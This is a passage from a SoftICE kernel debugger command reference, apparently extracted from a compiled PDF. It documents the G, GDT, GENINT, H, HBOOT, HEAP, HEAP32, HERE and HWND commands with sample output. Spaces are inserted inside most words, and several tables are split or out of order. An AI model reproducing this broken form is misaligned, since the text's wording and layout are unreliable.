The G command wi t hout par amet er s behaves t he same as t he X command.

I f t he Regi st er wi ndow i s vi si bl e when Sof t I CE pops up, al l r egi st er s t hat have
been al t er ed
si nce t he G command was i ssued ar e di spl ayed wi t h t he bol d vi deo at t r i but e.

For Wi ndows 3. 1
The non- st i cky execut i on br eakpoi nt uses an I NT 3 st yl e br eakpoi nt .

For Wi ndows 95 and Wi ndows NT
The non- st i cky execut i on br eakpoi nt uses debug r egi st er s unl ess none ar e
avai l abl e. I f none
ar e avai l abl e, i t uses I NT 3.

%Exampl e
Thi s command set s a one- t i me br eakpoi nt at addr ess CS: 80123456h.
G 80123456


: GDT.
^GDT Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Di spl ay t he Gl obal Descr i pt or Tabl e.

Pagina 699 di 991
%Synt ax
GDT [ sel ect or ]

sel ect or St ar t i ng GDT sel ect or t o di spl ay

%Use
The GDT command di spl ays t he cont ent s of t he Gl obal Descr i pt or Tabl e. I f you
speci f y an
opt i onal sel ect or , onl y i nf or mat i on on t hat sel ect or i s l i st ed. I f t he
speci f i ed sel ect or i s an LDT
sel ect or ( bi t 2 i s a 1) , Sof t I CE aut omat i cal l y di spl ays i nf or mat i on f r omt he
LDT, r at her t han
t he GDT.

%Out put
The base l i near addr ess and l i mi t of t he GDT i s shown at t he t op of t he GDT
command' s
out put . Each subsequent l i ne of t he out put cont ai ns t he f ol l owi ng i nf or mat i on:
sel ect or val ue Lower t wo bi t s of t hi s val ue r ef l ect s t he descr i pt or pr i vi l ege
l evel .
sel ect or t ype One of t he f ol l owi ng:

Type________Descr i pt i on
Code16 16- bi t code sel ect or
Dat a16 16- bi t dat a sel ect or
Code32 32- bi t code sel ect or
Dat a32 32- bi t dat a sel ect or
LDT Local Descr i pt or Tabl e sel ect or
TSS32 32- bi t Task St at e Segment sel ect or
TSS16 16- bi t Task St at e Segment sel ect or
Cal l G32 32- bi t Cal l Gat e sel ect or
Cal l G16 16- bi t Cal l Gat e sel ect or
TaskG32 32- bi t Task Gat e sel ect or
TaskG16 16- bi t Task Gat e sel ect or
Tr apG32 32- bi t Tr ap Gat e sel ect or


sel ect or base Li near base addr ess of t he sel ect or .
sel ect or l i mi t Si ze of sel ect or ' s segment .
sel ect or DPL Sel ect or ' s descr i pt or pr i vi l ege l evel ( DPL) , whi ch i s ei t her 0, 1,
2 or 3.
pr esent bi t P or NP, i ndi cat i ng whet her t he sel ect or i s pr esent or not pr esent .
segment at t r i but es One of t he f ol l owi ng:

%Exampl e
The f ol l owi ng command shows abbr evi at ed out put f r omt he GDT command.
. : GDT
Sel . Type Base Li mi t DPL At t r i but es
GDTbase=C1398000 Li mi t =0FFF
0008 Code16 00017370 0000FFFF 0 P RE
0010 Dat a16 00017370 0000FFFF 0 P RW
0018 TSS32 C000AEBC 00002069 0 P B
0020 Dat a16 C1398000 00000FFF 0 P RW
0028 Code32 00000000 FFFFFFFF 0 P RE
0030 Dat a32 00000000 FFFFFFFF 0 P RW
003B Code16 C33E9800 000007FF 3 P RE
0043 Dat a16 00000400 000002FF 3 P RW
0048 Code16 00013B10 0000FFFF 0 P RE
0050 Dat a16 00013B10 0000FFFF 0 P RW
0058 Reser ved 00000000 0000FFFF 0 NP
0060 Reser ved 00000000 0000FFFF 0 NP
0068 TSS32 C0015DE8 00000068 0 P
Tr apG16 16- bi t Tr ap Gat e sel ect or
Pagina 700 di 991
I nt G32 32- bi t I nt er r upt Gat e sel ect or
I nt G16 16- bi t I nt er r upt Gat e sel ect or
Reser ved Reser ved sel ect or

Val ue____________Descr i pt i on
RW Dat a sel ect or i s r eadabl e and wr i t abl e.
RO Dat a sel ect or i s r ead onl y.
RE Code sel ect or i s r eadabl e and execut abl e.
EO Code sel ect or i s execut e onl y.
B TSS' s busy bi t i s set .
ED Expand down dat a sel ect or .
Type Descr i pt i on


: GENI NT
^GENI NT Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Fl owCont r ol
^For ce an i nt er r upt t o occur .

%Synt ax
GENI NT [ nmi | i nt 1 | i nt 3 | i nt er r upt - number ]

i nt er r upt - number For Wi ndows 3. 1 and Wi ndows 95: Val i d i nt er r upt number bet ween
0 and 5Fh.

For Wi ndows NT: Val i d i nt er r upt number bet ween 0 and FFh.

%Use
The GENI NT command f or ces an i nt er r upt t o occur . Use t hi s f unct i on t o hand of f
cont r ol t o
anot her debugger you ar e usi ng wi t h Sof t I CE. Al so use i t t o t est i nt er r upt
r out i nes.
The GENI NT command si mul at es t he pr ocessi ng sequence of a har dwar e i nt er r upt or
an
I NT i nst r uct i on. I t vect or s cont r ol t hr ough t he cur r ent I DT ent r y f or t he
speci f i ed i nt er r upt
number .

War ni ng: Ensur e t hat t her e i s a val i d i nt er r upt handl er bef or e usi ng t hi s
command. Sof t I CE
does not know i f t her e i s a handl er i nst al l ed. Your machi ne wi l l most l i kel y
cr ash i f
t her e i s not one.

GENI NT cannot be used t o si mul at e a pr ocessor f aul t t hat pushes an except i on
code. For
exampl e, GENI NT cannot si mul at e a gener al pr ot ect i on f aul t .

%Exampl e
The f ol l owi ng command f or ces a non- maskabl e i nt er r upt . I t gi ves cont r ol back t o
CodeVi ew
f or DOS, i f you use Sof t I CE as an assi st ant t o CodeVi ew f or DOS.
GENI NT nmi

I f usi ng CodeVi ew f or Wi ndows, use t he command:
GENI NT 0

For ot her debugger s, exper i ment wi t h i nt er r upt - number s 0, 1, 2 and 3.

When t he command I 3HERE==ON, and you ar e usi ng a l evel - 3 debugger , such as
BoundsChecker , Sof t I CE t r aps on any I NT 3 br eakpoi nt s i nst al l ed by t he l evel - 3
debugger .
When t hi s happens, set I 3HERE==OFF, and use t he GENI NT command t o r eact i vat e
t he
Pagina 701 di 991
br eakpoi nt . Thi s r et ur ns cont r ol t o t he l evel - 3 debugger , and Sof t I CE does not
t r ap
subsequent I NT 3s.
I 3HERE of f
GENI NT 3


: H
^H WI NDOWS 3. 1, WI NDOWS 95, WI NDOWS NT MI SCELLANEOUS
^F1
^Di spl ay hel p i nf or mat i on.

%Synt ax
For Wi ndows 3. 1
H [ command | expr essi on]

For Wi ndows 95 and Wi ndows NT
H [ command]

%Use For Wi ndows 3. 1
Under Wi ndows 3. 1, t he par amet er you suppl y det er mi nes whet her hel p i s
di spl ayed or an
expr essi on i s eval uat ed. I f you speci f y a command, hel p di spl ays det ai l ed
i nf or mat i on about
t he command, i ncl udi ng t he command synt ax and an exampl e. I f you speci f y an
expr essi on,
t he expr essi on i s eval uat ed, and t he r esul t i s di spl ayed i n hexadeci mal ,
deci mal , si gned deci mal
( onl y i f < 0) , and ASCI I .

For Wi ndows 95 and Wi ndows NT
Under Wi ndows 95 and Wi ndows NT, t he H command di spl ays hel p on Sof t I CE
commands. ( Ref er t o ? on page 3 f or i nf or mat i on about eval uat i ng expr essi ons
under
Wi ndows 95 and Wi ndows NT. ) To di spl ay gener al hel p on al l t he Sof t I CE
commands, ent er
t he H command wi t h no par amet er s. To see det ai l ed i nf or mat i on about a speci f i c
command,
use t he H command f ol l owed by t he name of t he command on whi ch you want hel p.
Hel p
di spl ays a descr i pt i on of t he command, t he command synt ax, and an exampl e.

%Exampl e
The f ol l owi ng exampl e di spl ays i nf or mat i on about t he ALTKEY command:
. : H al t key
Set key sequence t o i nvoke wi ndow
ALTKEY [ ALT l et t er | CTRL l et t er ]
ex: ALTKEY ALT D

: HBOOT
^HBOOT Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Fl owCont r ol
^Do a har d syst emboot ( t ot al r eset ) .

%Synt ax
HBOOT

%Use
The HBOOT command r eset s t he comput er syst em. Sof t I CE i s not r et ai ned i n t he
r eset
pr ocess. HBOOT i s suf f i ci ent unl ess an adapt er car d r equi r es a power - on r eset .
I n t hose r ar e
cases, t he machi ne power must be r ecycl ed.

Pagina 702 di 991
HBOOT per f or ms t he same l evel of syst emr eset as pr essi ng Ct r l - Al t - Del et e when
not i n
Sof t I CE.

%Exampl e
To make t he syst emr eboot , use t hi s command:
HBOOT

: HEAP
^HEAP Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Di spl ay t he Wi ndows gl obal heap.

%Synt ax
HEAP - L [ f r ee | modul e- name | sel ect or ]

- L Di spl ay onl y gl obal heap ent r i es t hat cont ai n a l ocal heap.
modul e- name Name of t he modul e.
sel ect or LDT sel ect or .

%Use
For Wi ndows 95
For 16- bi t modul es, t he HEAP command wor ks t he same as i t does under Wi ndows
3. 1.

For Wi ndows NT
For 16- bi t modul es, t he HEAP command wor ks t he same as i t does under Wi ndows
3. 1, but
i s pr ocess- speci f i c. You must be i n a NTVDM pr ocess t hat cont ai ns a WOW
( Wi ndows on Wi ndows) box.

For Wi ndows 3. 1
The HEAP command di spl ays t he Wi ndows gl obal heap i n t he Command wi ndow.
. I f you do not speci f y par amet er s, t he ent i r e gl obal heap di spl ays.
. I f you speci f y FREE, onl y heap ent r i es mar ked as FREE di spl ay.
. I f you speci f y t he modul e name, onl y heap ent r i es bel ongi ng t o t he modul e
di spl ay.
. I f you speci f y an LDT sel ect or , onl y a si ngl e heap ent r y cor r espondi ng t o t he
sel ect or di spl ays.

At t he end of t he l i st i ng, t he t ot al amount of memor y used by t he heap ent r i es
t hat di spl ayed
i s shown. I f t he cur r ent CS: EI P bel ongs t o one of t he heap ent r i es, t hat ent r y
di spl ays wi t h t he
bol d vi deo at t r i but e.

I f t her e i s no cur r ent LDT, t he HEAP command i s unabl e t o di spl ay heap
i nf or mat i on.


%Out put
For each heap ent r y t he f ol l owi ng i nf or mat i on di spl ays:
sel ect or or handl e I n Wi ndows 3. 1, t hi s i s al most t he same t hi ng. Heap
sel ect or s al l have
a dpl of 3 whi l e t he cor r espondi ng handl e i s t he same sel ect or wi t h a
dpl of 2. For exampl e, i f t he handl e was 106h t he sel ect or woul d be
107h. Use ei t her of t hese i n an expr essi on.
addr ess 32- bi t f l at vi r t ual addr ess.
si ze Si ze of t he heap ent r y i n byt es.
modul e name Modul e name of t he owner of t he heap ent r y.
t ype Type of ent r y. One of t he f ol l owi ng:

Addi t i onal Type I nf or mat i on
I f t he heap ent r y i s a code or a dat a segment , t he segment number
Pagina 703 di 991
f r omt he . EXE f i l e di spl ays. I f t he heap ent r y i s a r esour ce, one of t he
f ol l owi ng r esour ce t ypes may di spl ay:
Type Descr i pt i on
Code Non- di scar dabl e code segment
Code D Di scar dabl e code segment
Dat a Dat a segment
Modul eDB Modul e dat a base segment
TaskDB Task dat a base segment
Bur ger M Bur ger Mast er ( The heap i t sel f )
Al l oc Al l ocat ed memor y
Resour ce Wi ndows Resour ce
User Def I con St r i ng Accel I conGr p
Cur sor Menu Font Gr p Er r Tabl e NameTabl
Bi t map Di al og Font Cur sGr p


%Exampl e
To di spl ay al l heap ent r i es bel ongi ng t o t he KERNEL modul e, use t he f ol l owi ng
command:
HEAP ker nel

Han/ Sel Addr ess Lengt h Owner Type Seg/ Rsr
00F5 000311C0 000004C0 KERNEL Modul eDB
00FD 00031680 00007600 KERNEL Code 01
0575 00054220 00003640 KERNEL Al l oc
0106 00083E40 00002660 KERNEL Code D 02
010E 805089A0 00001300 KERNEL Code D 03
0096 80520440 00000C20 KERNEL Al l oc
Tot al Memor y: 62K


: HEAP32
^HEAP32 Wi ndows 95 Syst emI nf or mat i on
^Di spl ay t he Wi ndows gl obal heap.

%Synt ax
HEAP32 [ hheap32 | t ask- name] ]

hheap32 Heap handl e r et ur ned f r omHeapCr eat e.
t ask- name Name of any 32- bi t t ask.

%Use
For Wi ndows 95
The HEAP32 command di spl ays heaps f or a pr ocess.

Not e: For 16- bi t modul es, use t he HEAP32 on page 100.

The HEAP32 command di spl ays t he f ol l owi ng:
. KERNEL32 def aul t syst emheap.
. Pr i vat e heaps of pr ocesses cr eat ed t hr ough t he HeapCr eat e( ) f unct i on.
. Two Ri ng- 0 heaps cr eat ed by VMM. The f i r st one di spl ayed i s t he pagel ocked
heap, and
t he second i s t he paget abl e heap.
. One Ri ng- 0 heap f or ever y exi st i ng vi r t ual machi ne.

I f you pr ovi de a pr ocess name, Sof t I CE di spl ays t he ent i r e def aul t pr ocess heap
f or t hat
pr ocess, and t he addr ess cont ext aut omat i cal l y changes t o t hat of t he pr ocess.
To vi ew a
nondef aul t heap f or a pr ocess, speci f y t he heap base addr ess i nst ead of t he
pr ocess name.
The debug ver si ons of Wi ndows 95 pr ovi de ext r a debuggi ng i nf or mat i on f or each
heap
Pagina 704 di 991
el ement wi t hi n a heap. To see t hi s i nf or mat i on, you must be r unni ng t he
appr opr i at e debug
ver si on, as f ol l ows:
. For KERNEL32 Ri ng- 3 heaps, have t he SDK debug ver si on i nst al l ed.
. For VMM Ri ng- 0 heaps, have t he DDK debug ver si on of VMM i nst al l ed.

%Out put
For each heap ent r y, t he f ol l owi ng i nf or mat i on di spl ays:
HeapBase Addr ess wher e t he heap begi ns.

MaxSi ze
Cur r ent maxi mumsi ze t he heap can gr ow wi t hout cr eat i ng a new
segment .
Commi t t ed
Number of ki l obyt es of commi t t ed memor y t hat ar e cur r ent l y pr esent
i n physi cal memor y.
Segment s
Number of segment s i n t he heap. Each t i me t he heap gr ows past t he
cur r ent maxi mumsi ze, a new heap segment i s cr eat ed.
Type
Owner
Name of t he pr ocess t hat owns t he heap.

When di spl ayi ng an i ndi vi dual 32- bi t heap, t he f ol l owi ng i nf or mat i on di spl ays:
Wi t h t he appr opr i at e debug ver si ons of t he SDK and DDK, t he f ol l owi ng ext r a
i nf or mat i on
appear s f or each heap el ement :

Heap_____Type_______Descr i pt i on
Pr i vat e Ri ng 3 heap cr eat ed by an appl i cat i on pr ocess.
Syst em Ri ng 3 def aul t heap f or KERNEL32.
Ri ng0 Ri ng 0 heap cr eat ed by VMM.
VM## Heap cr eat ed by VMM f or a speci f i c Vi r t ual

Machi ne t o hol d dat a st r uct ur es speci f i c t o t hat VM.

Addr ess
Addr ess of t he heap el ement
Si ze
Si ze i n byt es of t he heap el ement
Fr ee
I f t he heap el ement i s a f r ee bl ock, t he wor d FREE
appear s; ot her wi se, t he f i el d i s bl ank.
Heap
El ement Descr i pt i on
EI P
EI P addr ess of t he code t hat al l ocat ed t he heap
el ement .
TI D
VMM t hr ead- i d of t he al l ocat i ng t hr ead
Owner
Near est symbol t o t he EI P addr ess


%Exampl e
To di spl ay al l 32- bi t heaps, use t he command:
HEAP32

To di spl ay al l heap ent r i es f or Exchng32, use t he command:
HEAP32 exchng32

HeapBase Max Si ze Commi t -
t ed
Pagina 705 di 991
Seg-
ment s
Type Owner
00EA0000 1024K 8K 1 Pr i vat e Mapi sp32
00DA0000 1024K 8K 1 Pr i vat e Mapi sp32
00CA0000 1024K 8K 1 Pr i vat e Mapi sp32
00960000 1024K 8K 1 Pr i vat e Mapi sp32
00860000 1024K 8K 1 Pr i vat e Mapi sp32
Heap: 00400000 Max Si ze: 1028K Commi t t ed: 12K Segment s: 1
Addr ess Si ze
00400078 000004E4
00400560 00000098
004005FC 00000054
00400654 000000A4
004006FC 00000010
00400710 00000014 Fr ee


: HEAP32 ( NT)
^HEAP32 Wi ndows NT Syst emI nf or mat i on
^Di spl ay t he Wi ndows heap.

%Synt ax
HEAP32 [ [ - w - x - s - v - b - t r ace] [ heap | heap- ent r y | pr ocess- t ype] ]

- w Wal k t he heap, showi ng i nf or mat i on about each heap ent r y.
- x Show an ext ended summar y of a 32- bi t heap.
- s Pr ovi de a segment summar y f or a heap.
- v Val i dat e a heap or heap- ent r y.
- b Show base addr ess and si zes of heap ent r y header s.
- t r ace Di spl ay a heap t r ace buf f er .
heap 32- bi t heap handl e.
heap- ent r y Heap al l ocat ed bl ock r et ur ned by HeapAl l oc or HeapReal l oc.
pr ocess- t ype Pr ocess name, pr ocess- i d, or pr ocess handl e ( KPEB) .

%Use
Al l HEAP32 opt i ons and par amet er s ar e opt i onal . I f you do not speci f y opt i ons
or
par amet er s, a basi c heap summar y di spl ays f or ever y heap i n ever y pr ocess. I f a
par amet er i s
speci f i ed wi t hout opt i ons, a summar y wi l l be per f or med f or t he heap- ent r y,
heap, or i n t he
case of a pr ocess- t ype, a summar y f or each heap wi t hi n t he pr ocess.

Not e: Al l 16- bi t HEAP f unct i onal i t y st i l l wor ks. Ref er t o HEAP on page 94 f or
Wi ndows
3. 1. Thi s i nf or mat i on onl y appl i es t o HEAP32.

The - Wal k opt i on wal ks a heap, showi ng t he st at e of each heap- ent r y on a heap.
The Wal k
opt i on i s t he def aul t opt i on i f you speci f y a heap handl e wi t hout ot her
opt i ons.
The - eXt ended opt i on di spl ays a det ai l ed descr i pt i on of al l usef ul i nf or mat i on
about a heap,
i ncl udi ng a segment summar y and a l i st of any Vi r t ual l y Al l ocat ed Bl ocks ( VABs)
or ext r a
UnCommi t t ed Range ( UCR) t abl es t hat may have been cr eat ed f or t he heap.

The - Segment opt i on di spl ays a si mpl e summar y f or t he heap, and each of i t s
heap- segment s.
Segment s ar e cr eat ed t o map t he l i near addr ess space f or a r egi on of a heap. A
heap can be
composed of up t o si xt een segment s.
Pagina 706 di 991


The - Val i dat e opt i on i s an ext r emel y power f ul opt i on, as i t compl et el y
val i dat es a si ngl e heap-
ent r y, or a heap and al l of i t s component s, i ncl udi ng segment s, heap- ent r i es,
and VABs. I n
most cases, t he heap val i dat i on i s equi val ent t o or st r i ct er t han t he Wi n32 API
Heap
f unct i ons. The - Val i dat e opt i on i s t he onl y opt i on t hat t akes a heap- ent r y
par amet er as i nput .
Al l ot her opt i ons wor k wi t h heap handl es or pr ocess- t ypes. I f t he heap i s
val i d, an appr opr i at e
message di spl ays. I f t he val i dat i on f ai l s, one of t he f ol l owi ng er r or messages
appear s:
. For a bl ock whose header i s cor r upt :
Gener i c Er r or : 00140BD0 i s not a heap ent r y, or i t i s cor r upt
Speci f i c Er r or : 00140BD0: Backwar d l i nk f or Bl ock i s i nval i d
. For a bl ock whose guar d- byt es have been over wr i t t en:
Al l ocat ed bl ock: 00140BD0: Bl ock BUSY TAI L i s cor r upt
Not e: I f you r un your appl i cat i on under a debugger , f or exampl e,
BoundsChecker or
Vi sual C++, each al l ocat ed bl ock has guar d- byt es, and each f r ee bl ock i s
mar ked
wi t h a pat t er n so t hat r andomover wr i t es can be det ect ed.
. For a f r ee bl ock t hat has been wr i t t en t o, subsequent t o bei ng f r eed:
Fr ee bl ock: 00140E50: Fr ee bl ock f ai l ed FREE CHECK at 141E70

Use t he - Base opt i on t o change t he mode i n whi ch addr esses and heap ent r y si zes
di spl ay.
Under nor mal oper at i on, al l out put shows t he addr ess of t he heap- ent r y dat a,
and t he si ze of
t he user dat a f or t hat bl ock. When you speci f y t he - Base opt i on, al l out put
shows t he addr ess
of t he heap- ent r y header , whi ch pr ecedes each heap- ent r y, and t he si ze of t he
f ul l heap- ent r y,
i ncl udi ng t he heap- ent r y header and any ext r a dat a al l ocat ed f or guar d- byt es,
or t o sat i sf y
al i gnment r equi r ement s. Under most ci r cumst ances you wi l l not want t o speci f y
base
addr essi ng unl ess you ar e t r yi ng t o wal k a heap or i t s ent r i es manual l y.

When you use t he - Base opt i on, t he base addr ess f or each heap- ent r y i s 8 byt es
l ess t han when
- Base i s not speci f i ed. Thi s happens because t he heap- ent r y header pr ecedes t he
act ual heap-
ent r y by 8 byt es. Secondl y, t he si ze f or t he al l ocat ed bl ocks i s l ar ger because
of t he addi t i onal 8
byt es f or t he heap- ent r y header , guar d- byt es, and, i f necessar y, any ext r a
byt es needed f or
pr oper al i gnment . The out put f r omt he - Base opt i on i s usef ul f or manual l y
navi gat i ng
bet ween adj acent heap ent r i es, or checki ng f or memor y over r uns bet ween t he end
of t he heap-
ent r y dat a and any unused space pr i or t o t he guar d- byt es, whi ch ar e al ways
al l ocat ed as t he
l ast t wo DWORDs of t he heap ent r y.

Not e: The - Base opt i on has no ef f ect on i nput par amet er s. Heap- ent r y addr esses
ar e al ways
assumed t o be t he addr ess of t he heap- ent r y dat a.

Use t he - TRACE opt i on t o di spl ay t he cont ext s of a heap t r ace buf f er whi ch
r ecor d act i ons
Pagina 707 di 991
t hat occur wi t hi n a heap. Heap t r ace buf f er s ar e opt i onal and ar e gener al l y not
cr eat ed. To
enabl e t r aci ng i n t he Wi n32 API , speci f y t he HEAP_CREATE_ENABLE_TRACI NG f l ag as
one of t he f l ags t o nt dl l ! Rt l Cr eat eHeap. You cannot use t hi s opt i on wi t h
Ker nel 32! HeapCr eat e( ) because i t st r i ps out al l debug- f l ags bef or e cal l i ng
nt dl l ! Rt l Cr eat eHeap. You must al so be r unni ng t he appl i cat i on under a l evel - 3
debugger , f or
exampl e, BoundsChecker or t he Vi sual C++ debugger , so t hat t he Wi n32 heap
debuggi ng
opt i ons wi l l be enabl ed.

Any t i me a pr ocess- t ype i s passed as a par amet er , any and al l opt i ons ar e
per f or med f or each
heap wi t hi n t he pr ocess.

The HEAP32 command and al l of i t s opt i ons wor k on ei t her a si ngl e speci f i ed
heap handl e or
ALL t he heaps f or an ent i r e pr ocess.

%Exampl e: Thi s command per f or ms a heap val i dat i on f or al l t he heaps i n t he
Test 32 pr ocess:
HEAP 32 - v t est 32

When usi ng bar e addr esses, f or exampl e, 0x140000, t he cur r ent cont ext i s
assumed. %Use t he
ADDR command t o change t o t he appr opr i at e cont ext .

For Not Pr esent Memor y, due t o t he nat ur e of oper at i ng syst ems t hat use pagi ng
t o
i mpl ement vi r t ual memor y, i n some cases, t he act ual physi cal memor y t hat backs
a par t i cul ar
l i near addr ess wi l l not be pr esent i n memor y. To be usef ul wi t hi n t hi s
r est r i ct i on, t he HEAP32
command det ect s, avoi ds, and, wher e possi bl e, cont i nues t o oper at e wi t hout t he
need f or not
pr esent pages. I n al l cases wher e not pr esent memor y pr event s t he HEAP32
command f r om
per f or mi ng i t s wor k, you ar e not i f i ed of t hat condi t i on. When possi bl e t he
HEAP32
command ski ps not pr esent pages and cont i nues pr ocessi ng at a poi nt wher e
physi cal memor y
i s pr esent . Because not pr esent memor y pr event s t he HEAP32 command f r om
per f or mi ng a
f ul l val i dat i on of a heap, t he val i dat i on r out i nes i ndi cat e success, but l et
you know t hat onl y a
par t i al val i dat i on coul d be per f or med.

%Out put
Base
Base addr ess of t he heap, t hat i s, t he heap handl e.
I d Heap I D.
Cmmt / Psnt / Rsvd Amount of commi t t ed, pr esent , and r eser ved memor y used f or heap
ent r i es.
Segment s
Number of heap segment s wi t hi n t he heap.
Fl ags
Heap f l ags, f or exampl e, HEAP_GROWABLE ( 0x02) .
Pr ocess
Pr ocess t hat owns t he heap.
I f you speci f y t he - Wswi t ch, t he f ol l owi ng i nf or mat i on di spl ays:
Base
Thi s i s t he addr ess of t he heap ent r y.

Pagina 708 di 991

Type____Type of t he heap ent r y.
Si ze Si ze of t he heap- ent r y. Typi cal l y, t hi s i s t he number of byt es
avai l abl e
t o t he appl i cat i on f or dat a st or age.
Seg# Heap segment i n whi ch t he heap- ent r y i s al l ocat ed.
Fl ags Heap ent r y f l ags.
I f you speci f y t he - S swi t ch, t he f ol l owi ng addi t i onal i nf or mat i on di spl ays:
Seg# Segment number of t he heap segment .
Segment Range Li near addr ess r ange t hat t hi s segment maps t o.
Cmmt / Psnt / Rsvd Amount of commi t t ed, pr esent , and r eser ved memor y f or
t hi s heap
segment .
Max UCR Maxi mumuncommi t t ed r ange of l i near memor y. Thi s val ue speci f i es
t he l ar gest bl ock t hat can be cr eat ed wi t hi n t hi s heap segment .

Heap_____Ent r y Descr i pt i on
HEAP Repr esent s t he heap header .
SEGMENT Repr esent s a heap segment .
ALLOC Act i ve heap ent r y
FREE I nact i ve heap ent r y
VABLOCK Vi r t ual l y al l ocat ed bl ock ( VAB)


%Exampl e
HEAP32
Base I d Cmmt / Psnt / Rsvd Segment s Fl ags Pr ocess
00230000 01 0013/ 0013/ 00ED 1 00000002 csr ss
7F6F0000 02 0008/ 0008/ 00F8 1 00007008 csr ss
00400000 03 001C/ 001A/ 0024 1 00004003 csr ss
7F5D0000 04 0005/ 0005/ 001B 1 00006009 csr ss
00460000 05 00F6/ 00F1/ 001A 2 00003002 csr ss
005F0000 06 000B/ 000B/ 0005 1 00005002 csr ss
7F2D0000 07 002D/ 002D/ 02D3 1 00006009 csr ss
02080000 08 0003/ 0003/ 0001 1 00001062 csr ss
023C0000 09 0016/ 0014/ 00EA 1 00001001 csr ss


: HERE
^HERE WI NDOWS 3. 1, WI NDOWS 95, WI NDOWS NT FLOWCONTROL
^F7
^Go t o t he cur r ent cur sor l i ne.

%Synt ax
HERE

%Use
The HERE command execut es unt i l t he pr ogr amr eaches t he cur r ent cur sor l i ne.
HERE i s
onl y avai l abl e when t he cur sor i s i n t he Code wi ndow. I f t he Code wi ndow i s not
vi si bl e or
t he cur sor i s not i n t he Code wi ndow, use t he G command i nst ead. Use t he EC
command
( def aul t key F6) , i f you want t o move t he cur sor i nt o t he Code wi ndow.

To use t he HERE command, pl ace t he cur sor on t he sour ce st at ement or assembl y
i nst r uct i on
t hat you want t o execut e t o. Ent er HERE or pr ess t he f unct i on key t hat HERE i s
pr ogr ammed t o ( def aul t key F7) .

The HERE command exi t s f r omSof t I CE wi t h a si ngl e, one- t i me execut i on
br eakpoi nt set . I n
addi t i on, al l st i cky br eakpoi nt s ar e ar med.
Pagina 709 di 991

Execut i on begi ns at t he cur r ent CS: EI P and cont i nues unt i l t he addr ess of t he
cur r ent cur sor
posi t i on i n t he Code wi ndow i s encount er ed, t he wi ndow pop- up key sequence i s
used, or a
st i cky br eakpoi nt occur s. When Sof t I CE pops up, f or any r eason, t he one- t i me
execut i on
br eakpoi nt i s cl ear ed.

I f t he Regi st er wi ndow i s vi si bl e when Sof t I CE pops up, al l r egi st er s t hat have
been al t er ed
si nce t he HERE command was i ssued di spl ay wi t h t he bol d vi deo at t r i but e.
For Wi ndows 3. 1

The non- st i cky execut i on br eakpoi nt uses an I NT 3 st yl e br eakpoi nt .

For Wi ndows 95 and Wi ndows NT
The non- st i cky execut i on br eakpoi nt uses debug r egi st er s unl ess none ar e
avai l abl e, i n whi ch
case, i t uses I NT 3.

%Exampl e
Set s an execut i on br eakpoi nt at t he cur r ent cur sor posi t i on, t hen exi t s f r om
Sof t I CE and
begi ns execut i on at t he cur r ent CS: EI P.
HERE


: HWND
^HWND Wi ndows 3. 1, Wi ndows 95 Syst emI nf or mat i on
^Di spl ay i nf or mat i on on Wi ndow handl es.

%Synt ax
For Wi ndows 3. 1
HWND [ l evel ] [ t ask- name]

For Wi ndows 95
HWND [ - x] [ hwnd | [ [ l evel ] [ pr ocess- name] ]

l evel Wi ndows hi er ar chy number . 0 i s t he t op l evel , 1 i s t he next l evel and
so on. The wi ndow l evel s r epr esent a par ent chi l d r el at i onshi p. For
exampl e, a l evel 1 wi ndow has a l evel 0 par ent . For Wi ndows NT,
r ef er t o t he HWND on page 109.
t ask- name Any cur r ent l y l oaded Wi ndows t ask. These names ar e avai l abl e wi t h
t he TASK command.
- x Di spl ay ext ended i nf or mat i on about a wi ndow.
hwnd Wi ndows handl e.
pr ocess- name Name of any cur r ent l y l oaded pr ocess.

%Use
Speci f yi ng a wi ndow handl e as a par amet er di spl ays onl y t he i nf or mat i on f or
t hat wi ndow
handl e. I f you speci f y a wi ndow handl e, you do not need t o speci f y t he opt i onal
par amet er s
f or l evel and pr ocess- name.

%Out put
For each wi ndow handl e, t he f ol l owi ng i nf or mat i on i s di spl ayed:
Cl ass Name
Cl ass name or at omof cl ass t hat t hi s wi ndow bel ongs t o.
Wi ndow Pr ocedur e Addr ess of t he wi ndow pr ocedur e f or t hi s wi ndow.

%Exampl e
Pagina 710 di 991
Sampl e out put f ol l ows f or t he HWND command:
HWND mswor d
Abbr evi at ed out put f ol l ows f or t he HWND command:
HWND - x wi nwor d
Handl e hQueue QOwner Cl ass Pr ocedur e
0F4C( 0) 087D MSWORD #32769 DESKTOP
0FD4( 1) 080D MSWORD #32768 MENUWND
22C4( 1) 087D MSWORD OpusApp 0925: 0378
53E0( 2) 087D MSWORD OpusPmt 0945: 1514
2764( 2) 087D MSWORD a_sdm_Msf t 0F85: 0010
2800( 3) 087D MSWORD OpusFedt 0F85: 0020
2844( 3) 087D MSWORD OpusFedt 0F85: 0020
2428( 2) 087D MSWORD OpusI conBar 0945: 14FE
2888( 2) 087D MSWORD OpusFedt 0945: 14D2
Wi ndow Handl e : ( 0288) Level ( 1)
Par ent : 16A7: 000204CC
Chi l d : NULL
Next : 16A7: 00020584
Owner : NULL
Wi ndow RECT : ( 9, 113) - ( 210, 259)
Cl i ent RECT : ( 10, 114) - ( 189, 258)
hQueue : 1C97
Si ze : 16
QOwner : WI NWORD
hr gnUpdat e : NULL
wndCl ass : 16A7: 281C
Cl ass : Li st Box
hI nst ance : ( 349E) ( 16 bi t hI nst ance)
l pf nWndPr oc : 2417: 000057F8
dwFl ags1 : 40002
dwSt yl e : 44A08053
dwExSt yl e : 88
dwFl ags2 : 0
ct r l I D/ hMenu : 03E8
WndText : NULL
unknown1 : 4734
pr oper t yLi st : NULL
l ast Act i ve : NULL
hSyst emMenu : NULL
unknown2 : 0
unknown3 : 0000
cl assAt om: C036
unknown4 : 4CAC
unknown5 : A0000064
Wi ndow Handl e : ( 0288) Level ( 1)


: HWND ( NT)
^HWND Wi ndows NT Syst emI nf or mat i on
^Di spl ay i nf or mat i on on Wi ndow handl es.

%Synt ax
HWND [ - x] [ - c] [ hwnd- t ype | deskt op- t ype | pr ocess- t ype |

t hr ead- t ype | modul e- t ype | cl ass- name]
- eXt ended Di spl ay ext ended i nf or mat i on about each wi ndow handl e.
- Chi l dr en For ce t he di spl ay of wi ndow hi er ar chy when sear chi ng by t hr ead- t ype,
modul e- t ype, or cl ass- name.
